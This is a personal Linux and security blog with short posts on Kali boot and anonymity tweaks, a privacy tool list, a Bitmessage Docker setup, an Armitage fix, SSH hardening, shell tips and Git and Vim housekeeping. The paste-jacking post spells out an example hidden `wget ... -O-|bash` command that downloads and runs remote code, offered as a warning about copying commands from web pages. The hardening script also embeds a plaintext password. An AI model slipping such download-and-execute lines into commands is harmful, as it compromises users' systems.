c0d3 :: j0rg3

A collection of tips, tricks and snips. A proud Blosxom weblog. All code. No cruft.

Thu, 13 Jul 2017

Improved Anonymity on Kali Linux

I’m not entirely certain when BackTrack/Kali began behaving more like a regular desktop distro but I seem to recall that originally, networking subsystems were down when you booted up into Run Level 3. It was up to you to turn on the interfaces and fire up a GUI if such was desired. IMO, that’s precisely how it should be. I get it. Most of us aren’t ever won’t ever find ourselves in a clandestine lot, inside of a snack and caffeine filled, non-descript, conversion van with a Yagi pointed at the bubble-window, ready to pilfer innocent datums just trying to get by in this lossy-protocoled, collision-rife, world.

Rather, very many of us just want the stinking box online so we can run through our tutorials and hack our own intentionally vulnerable VMs. A thorough taste of hacking’s un-glamorous underbelly is quite enough for many.

I’m confident that the BT fora were inundated with fledgling hackers complaining that their fresh install couldn’t find WiFi or didn’t load the desktop. However, I feel that distros dedicated to the Red Team should try to instill good habits. Having your machine boot and activate an interface announcing your presence and spewing out MAC and hostname is bad for business. Booting into a (comparatively) heavy GUI is also not where I want to begin.

Let’s imagine that we’re trying to crack into a thing. Don’t we want to apply maximal CPU resources, rather than having GUI elements bringing little beyond cost? If you notice, very many of the related tools still live on the CLI. The typical course of development (e.g.: Nmap, Metasploit) is that the CLI version is thoroughly developed before someone drops a GUI atop (respectively: Zenmap, Armitage).


So let’s take our Kali and make a few quick changes. We want to boot up in text/CLI mode and we want networking left off until we choose to make noise. Further, we want to randomize our MAC address and hostname at every boot.

We’ll use iwconfig to enumerate our wireless interfaces.
lo        no wireless extensions.

wlan1     IEEE 802.11 ESSID:"ESSID"
          Mode:Managed Frequency:2.412 GHz Access Point: 17:23:53:96:BE:67
          Bit Rate=72.2 Mb/s Tx-Power=20 dBm
          Retry short limit:7 RTS thr:off Fragment thr:off
          Encryption key:off
          Power Management:off
          Link Quality=70/70 Signal level=-21 dBm
          Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
          Tx excessive retries:253 Invalid misc:400 Missed beacon:0

eth0      no wireless extensions.

wlan0     IEEE 802.11 ESSID:off/any
          Mode:Managed Access Point: Not-Associated Tx-Power=0 dBm
          Retry short limit:7 RTS thr:off Fragment thr:off
          Encryption key:off
          Power Management:on

We have two wireless interfaces: wlan0, wlan1

Okay, first let’s configure to start up in text mode:
> systemctl set-default multi-user.target
Created symlink /etc/systemd/system/default.target → /lib/systemd/system/multi-user.target.

Traditionally from text mode, we bring up the GUI desktop with the command startx. Since we don’t yet have that command, let’s create it:
> echo "systemctl start gdm3.service" > /usr/sbin/startx && chmod +x /usr/sbin/startx

Disable network-manager autostart:
> systemctl disable network-manager.service
> sed -i 's/5min/30sec/' /etc/systemd/system/network-online.target.wants/networking.service

Now, let’s randomize our hostname and MAC addresses at every boot by adding some cronjobs:
> crontab -e

We’ll add two jobs to randomize MAC address and one for our host name:
@reboot macchanger -r wlan0
@reboot macchanger -r wlan1
@reboot hostname `strings /dev/urandom | grep -o '[[:alnum:]]' | head -n 30 | tr -d '\n'`

We ‘re good! We’ve improved efficiency by staving off the GUI for when we genuinely want it and improved anonymity by randomizing some common ways of identifying the rig.


Tags: , , , , , , , ,
Permalink: 2017-07-10.improved.anonymity.on.kali.linux

Sun, 19 Feb 2017

Privacy: perspective and primer.

Hello friends.

While the overall telos of this blog is to, generally speaking, convey code snippets and inspire the personal projects of others, today we’re going to do something a smidgeon different.

This will be a layman’s look at varied dimensions of information security from a comfortable distance. Over the years, I’ve secured servers, operating systems, medical data, networks, communications and I’ve unsecured many of these same things. The topics are too sprawling to be covered in a quick summary — but let’s find a point of entry.

Those of us who are passionate about information security are well aware of how daunting is the situation. For newcomers, it sometimes seems rather impossible. Pick any subject and there are probably well-informed and convincing experts in diametric equidistance from any “happy medium”.

Let’s imagine that (like most of us) you don’t have anything spectacular to protect. However, you dislike the idea of our ever-dissolving privacy. Therefore you want to encrypt communications. Maybe you begin to use Signal. However, there are criticisms that there is a “backdoor” (there is not). Further, there are accusations that open source projects are coded by those who can’t get real jobs. Conversely, open source projects are widely open for peer review. If it worries one enough they are free to review code themselves.

PGP can encrypt content but concerns surround algorithmic selections. Some are worried about metadata crumbs. Of course, there’s nothing preventing the frequent switching of keys and email addresses. You could use BitMessage, any number of chat solutions or drop at paste bins.

Let’s leave those concerns aside for when you’ve figured out what you’re intending to protect. These arguments surround any subject in information security and we’re not going to investigate them on a case by case basis. Least, not in this post.

At the coarsest granularity, the question is analogous to the practicality of locking your doors or sealing your post envelopes. Should I take measures toward privacy?

My opinion is rather predictable: of course you should!

There’s a very pragmatic explanation. If there ever comes a day when you should like to communicate privately, that’s a terrible time to start learning.

Take the easy road and start using some of the myriad tools and services available.

Should you decide to take InfoSec seriously, you’ll need to define a threat model.
That is: What am I protecting? From whom am I protecting? (e.g. what are probable attack vectors?)

That’s where you need to make choices about trusting products, protocols, methods, algorithms, companies, servers, et cet. Those are all exciting subjects to explore but all too often brushing up against them can be exasperating and cause premature burn-out.

That in mind, let’s employ the philosophy that any effort toward security is better than none and take a look at a few points where one might get wetted-toes.

If you have questions or want specific advice, there are several ways below to initiate a secure conversation with me.

 

Secure your browser:

  • Privacy Badger: Block tracking
  • HTTPS Everywhere: Increase your encryptioning
  • uBlock: Advertisements are for others
  •  

    Secure communications:

  • Mailvelope: PGP email encryption for your major webmail provider (e.g., Gmail) | contact | pubkey
  • Tutanota: Encrypted webmail | Kontakt
  • Protonmail: Well-established provider of PGP encrypted webmail, featuring 2FA | kontakta
  • BitMessage: P2P encrypted communications protocol | contact: BM-2D9tDkYEJSTnEkGDKf7xYA5rUj2ihETxVR | Bitmessage channel list
  •   [ Bitmessage in a Docker container ]

  • BitMessage.ch: BitMessage email gateway | contact
  • BitMsg.me: Online BitMessage service
  • Keybase.io: Keybase maps your identity to your public keys, and vice versa
  • Signal: PGP encrypted TXT messages
  • Wire: Encrypted chat, video and calls
  • RIOT: Open-source, IRC-based, Matrix; run your own server
  • Wickr: Encrypted ephemeral chat
  •   [ n.b. Wickr’s .deb package seeks a unicode library (libicu52) which is not available to a recent Kali (or anything) install; .deb file is based on Ubuntu’s 2014 LTS release. Wickr in a Docker container ]

     

    Explore alternate nets (e.g., Deep Web, Dark Net):

  • MaidSafe: Promising new alt-web project
  • Qubes: a reasonably secure operating system
  • FreeNet: Alt-net based primarily on already knowing with whom you intend to collaborate
  • Bitmask: VPN solution to anonymize your traffic
  • TAILS: A live operating system based on the Tor network
  • TorBrowser: Stand-alone browser for Tor (less secure than TAILS)
  • Whonix: the most secure (and complex) way to access the Tor network
  • i2p: an other approach to creating a secure and private alternate web
  • Morph.is: fun alt-net, aimed at producing The World Brain. Although, it’s future looks a lot less promising since the lead dev was killed.
  • ZeroNet: one more encrypted anonymous net
  • Have fun and compute safely!


    Tags: , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , ,
    Permalink: 20170219.privacy.prespective.primer

    Fri, 17 Feb 2017

    The making of a Docker: Part I - Bitmessage GUI with SSH X forwarding

    Lately, I’ve been doing a lot of work from a laptop running Kali. Engaged in pursuit of a new job, I’m brushing up on some old tools and skills, exploring some bits that have changed.

    My primary desktop rig is currently running Arch because I love the fine grain control and the aggressive releases. Over the years, I’ve Gentoo’d and Slacked, Crunchbanged, BSD’d, Solarised, et cet. And I’ve a fondness for all of them, especially the security-minded focus of OpenBSD. But, these days we’re usually on Arch or Kali. Initially, I went with Black Arch on the laptop but I felt the things and ways I was fixing things were too specific to my situation to be good material for posts.

    Anyway, I wanted to get Bitmessage running, corresponding to another post I have in drafts. On Kali, it wasn’t going well so I put it on the Arch box and just ran it over the network. A reasonable solution if you’re in my house but also the sort of solution that will keep a hacker up at night.

    If you’re lucky, there’s someone maintaining a package for the piece of software that you want to run. However, that’s often not the case.

    If I correctly recall, to “fix” the problem with Bitmessage on Kali would’ve required the manual installation an older version of libraries that were already present. Those libraries should, in fact, be all ebony and ivory, living together in harmony. However, I just didn’t love the idea of that solution. I wanted to find an approach that would be useful on a broader scale.

    Enter containerization/virtualization!

    Wanting the lightest solution, I quickly went to Docker and realized something. I have not before built a Docker container for a GUI application. And Bitmessage’s CLI/daemon mode doesn’t provide the fluid UX that I wanted. Well, the easy way to get a GUI out of a Docker container is to forward DISPLAY as an evironment variable (i.e., docker run -e DISPLAY=$DISPLAY). Splendid!

    Except that it doesn’t work on current Kali which is using QT4. There’s a when graphical apps are run as root and though it is fixed in QT5, we are using current Kali. And that means we are, by default, uid 0 and QT4.

    I saw a bunch of workarounds that seemed to have spotty (at best) rates of success including seting QT’s graphics system to Native and giving Xorg over to root. They, mostly, seemed to be cargo cult solutions.

    What made the most sense to my (generally questionable) mind was to use X forwarding. Since I had already been running Bitmessage over X forwarding from my Arch box, I knew it should work just the same.

    To be completely truthful, the first pass I took at this was with Vagrant mostly because it’s SO easy. Bring up your Vagrant Box and then:
    vagrant ssh -- -X
    Viola!

    Having proof of concept, I wanted a Docker container. The reason for this is practical. Vagrant, while completely awesome, has substantially more overhead than Docker by virtualizing the kernel. We don’t want a separate kernel running for each application. Therefore Docker is the better choice for this project.

    Also, we want this whole thing to be seemless. We want to run the command bitmessage and it should fire up with minimal awkwardness and hopefully no extra steps. That is we do not want to run the Docker container then SSH into it and execute Bitmessage as individual steps. Even though that’s going to be how we begin.

    The Bitmessage wiki accurately describes how to install the software so we’ll focus on the SSH setup. Though when we build the Dockerfile we will need to add SSH to the list from the wiki.

    We’re going to want the container to start so that the SSH daemon is ready. Until then we can’t SSH (with X forwarding) into the container. Then we’ll want to use SSH to kick off the Bitmessage application, drawing the graphical interface using our host system’s X11.

    We’re going to take advantage of Docker’s -v --volume option which allows us to specify a directory on our host system to be mounted inside our container. Using this feature, we’ll generate our SSH keys on the host and make them automatically available inside the container. We’ll tuck the keys inside the directory that Bitmessage uses for storing its configuration and data. That way Bitmessage’s configuration and stored messages can be persistent between runs — and all of your pieces are kept in a single place.

    When we generate the container /etc/ssh/sshd_config is configured to allow root login without password only (i.e., using keys). So here’s how we’ll get this done:
    mkdir -p ~/.config/PyBitmessage/keys #Ensure that our data directories exist
    cd ~/.config/PyBitmessage/keys
    ssh-keygen -b 4096 -P "" -C $"$(whoami)@$(hostname)-$(date -I)" -f docker-bitmessage-keys #Generate our SSH keys
    ln -fs docker-bitmessage-keys.pub authorized_keys #for container to see pubkey

    Build our container (sources available at Github and Docker) and we’ll make the script to handle Bitmessage to our preferences. #!/bin/bash
    # filename: bitmessage
    set -euxo pipefail

    # open Docker container:
    # port 8444 available, sharing local directories for SSH and Bitmessage data
    # detatched, interactive, pseudo-tty (-dit)
    # record container ID in $DID (Docker ID)
    DID=$(docker run -p 8444:8444 -v ~/.config/PyBitmessage/:/root/.config/PyBitmessage -v ~/.config/PyBitmessage/keys/:/root/.ssh/ -dit j0rg3/bitmessage-gui bash)

    # find IP address of new container, record in $DIP (Docker IP)
    DIP=$(docker inspect $DID | grep IPAddress | cut -d '"' -f 4)

    # pause for one second to allow container's SSHD to come online
    sleep 1

    # SSH into container and execute Bitmessage
    ssh -oStrictHostKeyChecking=no -oUserKnownHostsFile=/dev/null -oIdentityFile=~/.config/PyBitmessage/keys/docker-bitmessage-keys -X $DIP ./PyBitmessage/src/bitmessagemain.py

    # close container if Bitmessage is closed
    docker kill $DID

    Okay, let’s make it executable: chmod +x bitmessage

    Put a link to it where it can be picked up system-wide: ln -fs ~/docker-bitmessage/bitmessage /usr/local/bin/bitmessage

    There we have it! We now have a functional Bitmessage inside a Docker container. \o/

    In a future post we’ll look at using eCryptfs to further protect our Bitmessage data stores.

      Project files: Github and Docker


    Tags: , , , , , , , , , , ,
    Permalink: 20170217.making.a.docker.bitmessage

    Tue, 10 Jan 2017

    [-] Auxiliary failed: Msf::OptionValidateError The following options failed to validate: RHOSTS.

    Mucking about with a fresh copy of Kali brings to attention that it’s packaged with an Armitage that doesn’t correctly work.

    I know what you’re thinking… Good. Type the commands into Msfconsole like a real man, y’uh lazy good-fer-naught! And, in practice, that was my immediate solution. But I can’t resist a good tinker when things are misbehaving.

    I was anticipating that the problem would be thoroughly solved when I ixquicked it. That was partially correct. Surprised, however, when apt-get update && apt-get upgrade didn’t fix the issue. More surprised at the age of the issue. Most surprised that I could see lots of evidence that users have been plagued by this issue — but no clear work arounds were quickly found.

    Guess what we’re doing today?

    Okay. The issue is quite minor but just enough to be heartbreaking to the fledgling pentester trying to get a VM off the ground.

    In brief, the owner of Armitage’s Github explains:

    The MSF Scans feature in Armitage parses output from Metasploit’s portscan/tcp module and uses these results to build a list of targets it should run various Metasploit auxiliary modules against. A recent-ish update to the Metasploit Framework changed the format of the portscan/tcp module output. A patch to fix this issue just needs to account for the new format of the portscan/tcp module.

    That is, a colon makes it into the input for the Msfconsole command to define RHOSTS. I.e.: set RHOSTS 172.16.223.150: - 172.16.223.150

    An other kind coder tweaked the regex and submitted the patch and pull request, which was successfully incorporated into the project.

    Sadly, things have stalled out there. So if this problem is crippling your rig, let’s fix it!

    We just want a fresh copy of the project.
    root@kali:~/armitage# git clone https://github.com/rsmudge/armitage

    Cloning into ‘armitage’…
    remote: Counting objects: 7564, done.
    remote: Total 7564 (delta 0), reused 0 (delta 0), pack-reused 7564
    Receiving objects: 100% (7564/7564), 47.12 MiB | 2.91 MiB/s, done.
    Resolving deltas: 100% (5608/5608), done.

    Kali is Debian-based and we’re going to need Apache Ant:
    root@kali:~/armitage# apt-get install ant

    Then, we’ll build our new fella:
    root@kali:~/armitage# cd armitage
    root@kali:~/armitage# ./package.sh

    Buildfile: /root/test/armitage/build.xml

    clean:

    BUILD SUCCESSFUL
    Total time: 0 seconds
    Buildfile: /root/test/armitage/build.xml

    init:
    [mkdir] Created dir: /root/test/armitage/bin

    compile:
    [javac] Compiling 111 source files to /root/test/armitage/bin
    [javac] depend attribute is not supported by the modern compiler
    [javac] Note: /root/test/armitage/src/ui/MultiFrame.java uses or overrides a deprecated API.
    [javac] Note: Recompile with -Xlint:deprecation for details.
    [javac] Note: Some input files use unchecked or unsafe operations.
    [javac] Note: Recompile with -Xlint:unchecked for details.

    BUILD SUCCESSFUL
    Total time: 2 seconds
    Buildfile: /root/test/armitage/build.xml

    init:

    compile:

    jar:
    [unzip] Expanding: /root/test/armitage/lib/sleep.jar into /root/test/armitage/bin
    [unzip] Expanding: /root/test/armitage/lib/jgraphx.jar into /root/test/armitage/bin
    [unzip] Expanding: /root/test/armitage/lib/msgpack-0.6.12-devel.jar into /root/test/armitage/bin
    [unzip] Expanding: /root/test/armitage/lib/postgresql-9.1-901.jdbc4.jar into /root/test/armitage/bin
    [unzip] Expanding: /root/test/armitage/lib/javassist-3.15.0-GA.jar into /root/test/armitage/bin
    [copy] Copying 4 files to /root/test/armitage/bin/scripts-cortana
    [jar] Building jar: /root/test/armitage/armitage.jar
    [jar] Building jar: /root/test/armitage/cortana.jar

    BUILD SUCCESSFUL
    Total time: 1 second
    armitage/
    armitage/readme.txt
    armitage/teamserver
    armitage/cortana.jar
    armitage/armitage.jar
    armitage/armitage-logo.png
    armitage/armitage
    armitage/whatsnew.txt
    adding: readme.txt (deflated 55%)
    adding: armitage.exe (deflated 49%)
    adding: cortana.jar (deflated 5%)
    adding: armitage.jar (deflated 5%)
    adding: whatsnew.txt (deflated 65%)
    armitage/
    armitage/readme.txt
    armitage/teamserver
    armitage/cortana.jar
    armitage/armitage.jar
    armitage/armitage-logo.png
    armitage/armitage
    armitage/whatsnew.txt
    Archive: ../../armitage.zip
    inflating: readme.txt
    inflating: armitage.exe
    inflating: cortana.jar
    inflating: armitage.jar
    inflating: whatsnew.txt

    And here, best I can guess from messages read, is where a lot of people are running into trouble. We have successfully produced our new working copy of armitage. However, it is in our own local directory and will not be run if we just enter the command: armitage

    Let’s review how to figure out what we want to do about that.

    First, we want to verify what happens when we run the command armitage.
    root@kali:~/armitage# which armitage

    /usr/bin/armitage

    Good! Let’s check and see what that does!
    root@kali:~/armitage# head /usr/bin/armitage

    #!/bin/sh

    cd /usr/share/armitage/
    exec ./armitage “$@”

    Almost there! It’s running /usr/share/armitage/armitage with whatever variables we’ve passed in. We’ll check that out.
    root@kali:~/armitage# head /usr/share/armitage/armitage

    #!/bin/sh
    java -XX:+AggressiveHeap -XX:+UseParallelGC -jar armitage.jar $@

    We have enough information to assemble a solution.

    I trust that the people behind Kali and Armitage will get this corrected so I don’t want to suggest a solution that would replace the armitage command and prevent an updated version from running later. So, let’s just make a temporary replacement?

    root@kali:~/armitage# echo -e '#!/bin/sh\njava -XX:+AggressiveHeap -XX:+UseParallelGC -jar ~/armitage/armitage.jar $@' > /usr/bin/tmparmitage

    Hereafter, we can use the command ‘tmparmitage’ (either CLI or ALT-F2) to run our fresh version until things catch up.

    And, of course, to save you the time, weary hacker:

    Download here:
        armitage_quick_fix.sh


    Tags: , , , , , , ,
    Permalink: 20170110.armitage.not.working.in.kali

    Mon, 02 Jan 2017

    Securing a new server

    Happy new year! New year means new servers, right?

    That provides its own set of interesting circumstances!

    The server we’re investigating in this scenario was chosen for being a dedicated box in a country that has quite tight privacy laws. And it was a great deal offered on LEB.

    So herein is the fascinating bit. The rig took a few days for the provider to set up and, upon completion, the password for SSHing into the root account was emailed out. (o_0)

    In very security-minded considerations, that means that there was a window of opportunity for bad guys to work on guessing the password before its owner even tuned in. That window remains open until the server is better secured. Luckily, there was a nice interface for reinstalling the OS permitting its purchaser to select a password.

    My preferred approach was to script the basic lock-down so that we can reinstall the base OS and immediately start closing gaps.


    In order:

  • Set up SSH keys (scripted)
  • Disable password usage for root (scripted)
  • Install and configure IPset (scripted. details in next post)
  • Install and configure fail2ban
  • Install and configure PortSentry

  • In this post, we’re focused on the first two steps.


    The tasks to be handled are:

  • Generate keys
  • Configure local SSH to use key
  • Transmit key to target server
  • Disable usage of password for ‘root’ account

  • We’ll use ssh-keygen to generate a key — and stick with RSA for ease. If you’d prefer ECC then you’re probably reading the wrong blog but feel encouraged to contact me privately.

    The code:

    #!/bin/bash
    #configure variables
    remote_host="myserver.com"
    remote_user="j0rg3"
    remote_pass="thisisaratheraquitecomplicatedpasswordbatterystaple" # https://xkcd.com/936/
    local_user=`whoami`
    local_host=`hostname`
    local_date=`date -I`
    local_filename=~/.ssh/id_rsa@$remote_host

    #generate key without passphrase
    ssh-keygen -b 4096 -P "" -C $local_user@local_host-$local_date -f $local_filename

    #add reference to generated key to local configuration
    printf '%s\n' "Host $remote_host" "IdentityFile $local_filename" >> ~/.ssh/config

    #copy key to remote host
    sshpass -p $remote_pass ssh-copy-id $remote_user@$remote_host

    #disable password for root on remote
    ssh $remote_user@$remote_host "cp /etc/ssh/sshd_config /etc/ssh/sshd_config.bak && sed -i '0,/RE/s/PermitRootLogin yes/PermitRootLogin no/' /etc/ssh/sshd_config"

    We just run this script soon as the OS is reinstalled and we’re substantially safer. As a Deb8 install, quickly pulling down fail2ban and PortSentry makes things quite a lot tighter.

    In another post, we’ll visit the 2017 version of making a DIY script to batten the hatches using a variety of publicly provided blocklists.

    Download here:
        ssh_quick_fix.sh


    Tags: , , , ,
    Permalink: 20170102.securing.a.new.server

    Thu, 04 Jul 2013

    Preventing paste-jacking with fc

    Paste-jacking: what? It’s a somewhat tongue-in-cheek name representing that, when it comes to the web, what you see is not necessarily what you copy.

    Content can be hidden inside of what you’re copying. For example: ls /dev/null; echo " Something nasty could live here! 0_o ";
    ls
    -l

    Paste below to see what lurks in the <span> that you’re not seeing:

    If pasted to the command line, this could cause problems. It might seem trivial but it isn’t if you give it some thought. If I had compiled a command that could be considered a single line, but a very long line then commands could easily be slipped in and it might not jump out at you. Given the right kind of post, it could even involve a sudo and one might give very little thought to typing in a password, handing all power over. It even could be something like: wget -q "nasty-shell-code-named-something-harmless-sounding" -O-|bash
    clear

    Then it would, of course, continue with innocuous commands that might do something that takes your attention and fills your screen with things that look comforting and familiar, like an apt-get update followed by an upgrade.

    In this way, an unsuspecting end-user could easily install a root-kit on behalf of Evil Genius™.

    So what’s the cure?

    Some suggest that you never copy and paste from web pages. That’s solid advice. You’ll learn more by re-typing and nothing is going to be hidden. The downside is it isn’t entirely practical. It’s bound to be one of those things that, in certain circumstances, we know that we ought do but don’t have time or patience for, every single time.

    To the rescue comes our old friend fc! Designed for letting you build commands in a visual editor, it is perfect for this application. Just type fc at the command line and then paste from the web page into your text editor of choice. When you’re satisfied with the command, exit the editor. The line will be executed and there won’t be a shred of doubt about what, precisely, is being executed.

    This isn’t really the intended use of fc, so it’s a makeshift solution. fc opens with the last command already on screen. So, you do have to delete that before building your new command but it’s an insignificant inconvenience in exchange for the ability to know what’s going to run before it has a chance to execute.

    Read more at ush.it and h-online.com.


    Tags: , , ,
    Permalink: 20130704.prevent.paste-jacking.with.fc

    Wed, 26 Jun 2013

    Terminal suddenly Chinese

    The other day, I was updating one of my systems and I noticed that it had decided to communicate with me in Chinese. Since I don’t know a lick of Chinese, it made for a clumsy exchange.

    It was Linux Mint (an Ubuntu variant), so a snip of the output from an ‘apt-get upgrade’ looked like this: terminal screen with Chinese characters

    I’m pretty sure I caused it — but there’s no telling what I was working on and how it slipped past me. Anyway, it’s not a difficult problem to fix but I imagine it could look like big trouble.

    So, here’s what I did:
    > locale

    The important part of the output was this:
    LANG=en_US.UTF-8
    LANGUAGE=zh_CN.UTF-8

    If you want to set your system to use a specific editor, you can set $EDITOR=vi and then you’re going to learn that some programs expect the configuration to be set in $VISUAL and you’ll need to change it there too.

    In a similar way, many things were using the en_US.UTF-8 set in LANG, but other things were looking to LANGUAGE and determining that I wanted Chinese.

    Having identified the problem, the fix was simple. Firstly, I just changed it in my local environment:
    > LANGUAGE=en_US.UTF-8

    That solved the immediate problem but, sooner or later, I’m going to reboot the machine and the Chinese setting would have come back. I needed to record the change somewhere for the system to know about it in the future.

    > vim /etc/default/locale

    Therein was the more permanent record, so I changed LANGUAGE there also, giving the result:

    LANG=en_US.UTF-8
    LANGUAGE=en_US.UTF-8
    LC_CTYPE=en_US.UTF-8
    LC_NUMERIC=en_US.UTF-8
    LC_TIME=en_US.UTF-8
    LC_COLLATE=”en_US.UTF-8”
    LC_MONETARY=en_US.UTF-8
    LC_MESSAGES=”en_US.UTF-8”
    LC_PAPER=en_US.UTF-8
    LC_NAME=en_US.UTF-8
    LC_ADDRESS=en_US.UTF-8
    LC_TELEPHONE=en_US.UTF-8
    LC_MEASUREMENT=en_US.UTF-8
    LC_IDENTIFICATION=en_US.UTF-8
    LC_ALL=

    And now, the computer is back to using characters that I (more-or-less) understand.


    Tags: , , , , ,
    Permalink: 20130626.terminal.suddenly.chinese

    Thu, 06 Jun 2013

    Managing to use man pages through simple CLI tips

    Recently, an author I admire and time-honored spinner of the Interwebs, Tony Lawrence emphasized the value of using man pagesmanual pagesDocumentation available from the command line.
    > man ls
    as a sanity check before getting carried away with powerful commands. I didn’t know about this one but he has written about a situation in which killall could produce some shocking, and potentially quite unpleasant, results.

    Personally, I often quickly check man pages to be certain that I am using the correct flags or, as in the above case, anticipating results that bear some resemblance to what is actually likely to happen. Yet, it seems many people flock toward SERPSearch Engine Results Page A tasteful replacement for mentioning any particular search-engine by name.
    Also useful as a verb:
    I dunno. You’ll have to SERP it.
    s for this information.

    Perhaps the most compelling reason to head for the web is leaving the cursor amid the line you’re working on, without disturbing the command. SERPing the command however, could easily lead you to information about a variant that is more common than the one available to you. More importantly, the information retrieved from the search engine is almost certainly written by someone who did read the man page — and may even come with the admonishment that you RTFMRead The F#!$!*#’n Manual as a testament to the importance of developing this habit.

    This can be made easier with just a few CLI shortcuts.

    <CTRL+u> to cut what you have typed so far and <CTRL+y> to paste it back.

    That is, you press <CTRL+u> and the line will be cleared, so you can then type man {command} and read the documentation. Don’t hesitate to jot quick notes of which flags you intend to use, if needed. Then exit the man page, press <CTRL+y> and finish typing right where you left off.

    This is another good use for screen or tmux but let’s face it. There are times when you don’t want the overhead of opening another window for a quick look-up and even instances when these tools aren’t available.

    A few other tips to make life easier when building complex commands:

    Use the command fc to open up an editor in which you can build your complex command and, optionally, even save it as a shell script for future reuse.

    Repeat the last word from the previous command (often a filename) with <ALT+.> or use an item from the last command by position, in reverse order:
    > ls -lahtr *archive*
    <ALT+1+.> : *archive*
    <ALT+2+.> : -lahtr
    <ALT+3+.> : ls

    You can also use Word Designators to use items from history, such as adding sudo to the last command typed by:
    sudo !!

    This allows for tricks like replacing bits of a previous command:
    !:s/misspelled/corrected/

    Lastly, if you need a command that was typed earlier, you can search history by pressing <CTRL+r> and start typing an identifying portion of the command.

    (Note: I have used these in Zsh and Bash, specifically. They can, however, be missing or overwritten — if a feature you want isn’t working, you can bind keys in a configuration file. Don’t just write it off, once you’ve solved the problem it will never again be an intimidating one.)

    Happy hacking!


    Tags: , , , , , , , ,
    Permalink: 20130606.managing.to.use.man.pages

    Wed, 15 May 2013

    Git: an untracked mess?

    There may be times when you find your Git repository burdened with scads of untracked files left aside while twiddling, testing bug patches, or what-have-youse.

    For the especially scatter-brained among us, these things can go unchecked until a day when the useful bits of a git status scroll off the screen due to utterly unimportant stuff. Well, hopefully unimportant.

    But we’d better not just cleave away everything that we haven’t checked in. You wonder:
    What if there’s something important in one of those files?

    You are so right!

    Let’s fix this!

    Firstly, we want a solution that’s reproducible. Only want to invent this wheel once, right?

    Let’s begin with the play-by-play:

    Git, we want a list of what isn’t tracked: git ls-files -o --exclude-standard -z

    We’ll back these files up in our home directory (~), using CPIO but we don’t want a poorly-named directory or finding anything will become its own obstacle. So we’ll take use the current date (date +%Y-%m-%d), directory (pwd) and branch we’re using (git branch) and we’ll twist all of it into a meaningful, but appropriate, directory name using sed. git ls-files -o --exclude-standard -z | cpio -pmdu ~/untracked-git-backup-`date +%Y-%m-%d`.`pwd | sed 's,^\(.*/\)\?\([^/]*\),\2,'`.`git branch | grep "*" | sed "s/* //"`/

    Then Tell Git to remove the untracked files and directories: git clean -d -f

    Ahhhh… Much better. Is there anything left out? Perhaps. What if we decide that moving these files away was a mistake? The kind of mistake that breaks something. If we realize right away, it’s easily-enough undone. But what if we break something and don’t notice for a week or two? It’d probably be best if we had an automated script to put things back the way they were. Let’s do that.

    Simple enough. We’ll just take the opposite commands and echo them into a script to be used in case of emergency.

    Create the restore script (restore.sh), to excuse faulty memory: echo "(cd ~/untracked-git-backup-`date +%Y-%m-%d`.`pwd | sed 's,^\(.*/\)\?\([^/]*\),\2,'`.`git branch | grep "*" | sed "s/* //"`/; find . -type f \( ! -iname 'restore.sh' \) | cpio -pdm `pwd`)" > ~/untracked-git-backup-`date +%Y-%m-%d`.`pwd | sed 's,^\(.*/\)\?\([^/]*\),\2,'`.`git branch | grep "*" | sed "s/* //"`/restore.sh

    Make the restore script executable: chmod u+x ~/untracked-git-backup-`date +%Y-%m-%d`.`pwd | sed 's,^\(.*/\)\?\([^/]*\),\2,'`.`git branch | grep "*" | sed "s/* //"`/restore.sh

    Lastly, the magic, compressed into one line that will stop if any command does not report success: a='untracked-git-backup-'`date +%Y-%m-%d`.`pwd | sed 's,^\(.*/\)\?\([^/]*\),\2,'`.`git branch | grep "*" | sed "s/* //"`; git ls-files -o --exclude-standard -z | cpio -pmdu ~/$a/ && git clean -d -f && echo "(cd ~/$a/; find . -type f \( ! -iname 'restore.sh' \) | cpio -pdm `pwd`)" > ~/$a/restore.sh && chmod +x ~/$a/restore.sh; unset a


    Tags: , , , ,
    Permalink: 20130515.git.untracked.mess

    Mon, 13 May 2013

    Zsh and hash

    Documentation for this one seems a bit hard to come by but it is one of the things I love about Zsh.

    I’ve seen many .bashrc files that have things like:
    alias www='cd /var/www'
    alias music='cd /home/j0rg3/music'

    And that’s a perfectly sensible way to make life a little easier, especially if the paths are very long.

    In Zsh, however, we can use the hash command and the shortcut we get from it works fully as the path. Other words, using the version above, if we want to edit ‘index.html’ in the ‘www’ directory, we would have to issue the shortcut to get there and then edit the file, in two steps:
    > www
    > vim index.html

    The improved version in .zshrc would look like:
    hash www=/var/www
    hash -d www=/var/www

    Then, at any time, you can use tilde (~) and your shortcut in place of path.
    > vim ~www/index.html

    Even better, it integrates with Zsh’s robust completions so you can, for example, type cd ~www/ and then use the tab key to cycle through subdirectories and files.

    On this system, I’m using something like this:
    (.zshrc)
    hash posts=/home/j0rg3/weblog/posts
    hash -d posts=/home/j0rg3/weblog/posts

    Then we can make a function to create a new post, to paste into .zshrc. Since we want to be able to edit and save, without partial posts becoming visible, while we are working, we’ll use an extra .tmp extension at the end:
    post() { vim ~posts/`date +%Y-%m`/`date +%Y%m%d`.$1.txt.tmp }

    [ In-line date command unfamiliar? See earlier explanation ]

    But, surely there is going to be a point when we need to save a post and finish it later. For now, let’s assume that only a single post will be in limbo at any time. We definitely don’t want to have to remember the exact name of the post — and we don’t want to have hunt it down every time.

    We can make those things easier like this:
    alias resume="vim `find ~posts/ -name '*.txt.tmp'`"

    Now, we can just enter resume and the system will go find the post we were working on and open it up for us to finish. The file will need the extension renamed from .txt.tmp to only .txt to publish the post but, for the sake of brevity, we’ll think about that (and having multiple posts in editing) on another day.


    Tags: , , , ,
    Permalink: 20130513.zsh.and.hash

    Wed, 08 May 2013

    Deleting backup files left behind by Vim

    It’s generally a great idea to have Vim keep backups. Once in awhile, they can really save your bacon.

    The other side of that coin, though, is that they can get left behind here and there, eventually causing aggravation.

    Here’s a snippet to find and eliminate those files from the current directory down:

    find ./ -name '*~' -exec rm '{}' \; -print -or -name ".*~" -exec rm {} \; -print
    This uses find from the current directory down (./) to execute an rm statement on all files with an extension ending in tilde (~)
    Alternatively, you could just store your backups elsewhere. In Vim, use :help backupdir for more information.


    Tags: , , , ,
    Permalink: 20130508.delete.vim.backups

    Tue, 07 May 2013

    Welcome, traveler.

    Thanks for visiting my little spot on the web. This is a Blosxom ‘blog which, for those who don’t know, is a CGI written in Perl using the file-system (rather than a database).

